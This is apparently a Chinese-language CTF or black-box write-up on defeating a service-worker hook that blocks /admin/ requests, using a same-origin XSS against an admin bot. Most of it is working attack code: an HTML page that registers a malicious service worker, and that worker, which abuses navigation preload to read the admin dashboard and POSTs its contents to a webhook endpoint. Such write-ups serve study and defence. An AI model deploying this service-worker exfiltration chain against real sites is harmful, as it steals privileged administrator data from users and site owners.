同源XSS中SW HOOK的绕过思路#

写一篇关于最近遇到的黑盒

当admin bot同源xss想去读admin面板的时候，理应是没问题的，

事先假设admin面板返回的头并未限制同源策略，而是用Service-works来防范请求的

如果在servive里指定了fetch的事件，比如

1
addEventListener("fetch", event => {
2
    const req = event.request;
3

4
    if (req.url.includes("/admin/")) {
5
        event.respondWith(
6
            new Response(null, {
7
                status: 504
8
            })
9
        );
10
        return;
11
    }
12

13
    event.respondWith(fetch(req));
14
});

类似如此，因为在异源访问时往往CROS进行限制，在站点的bot和本身是同源的，

并且bot可以运触发js，那就可以另外加一个Hook，也就是自己的Service-works

但是对于fetch的原始Hook我并没法进行影响

在原声Service work api中有个预渲染组建，NavigationPreloadManager

可以预先事件绑定，同时经过这个hook时可以先讲面板的数据预处理，并且获得res

注意得skipWaiting，并且在事件监听的respondWith需要返回一个对象

给bot的html的模板是

1
<!DOCTYPE html>
2
<html>
3
<body>
4
    <script>
5
        (async ()=>{
6
            res = await navigator.serviceWorker.register(
7
                "/u/admin/SW2d6f9e7_sw10.js",
8
                {scope: '/u/admin/'}
9
            )
10
            await navigator.serviceWorker.ready
11
        })();
12
    </script>
13
</body>
14
</html>

预渲染并且同源的res是可以被默认策略允许的，配完claim()就ok，下面是js

1
self.addEventListener("install",e=>skipWaiting());
2
self.addEventListener("activate",e=>e.waitUntil((async () => {
3
    try{ await self.registration.navigationPreload.enable() } catch (e) {}
4
    await clients.claim();
5

6
})()));
7

8
async function read(data){
9
    await fetch('/webhook/guest',{
10
        method : 'POST',
11
        headers: {'Content-Type': 'application/json'},
12
        body : JSON.stringify(data)
13
    })
14
        }
15

16
addEventListener("fetch",e =>{
17
    const req = e.request;
18
    if (req.mode != 'navigate' || !(String(req.url).includes('/admin/dashboard'))) return;
19
    e.respondWith((async()=>{
20
        let q1 = null, q2 = null;
21
        try{
22
            const pr = await e.preloadResponse;
23
            if (pr) q1 = {status : 'ok', body : await pr.clone().text()};
24
        } catch (e) {}
25
    const aaa = await fetch(req)
26
    const normal = { status: aaa.status, body: await aaa.clone().text() };
27
    await read({fake: normal,real: q1});
28
    return aaa
29
    })());
30

31

32
});

以上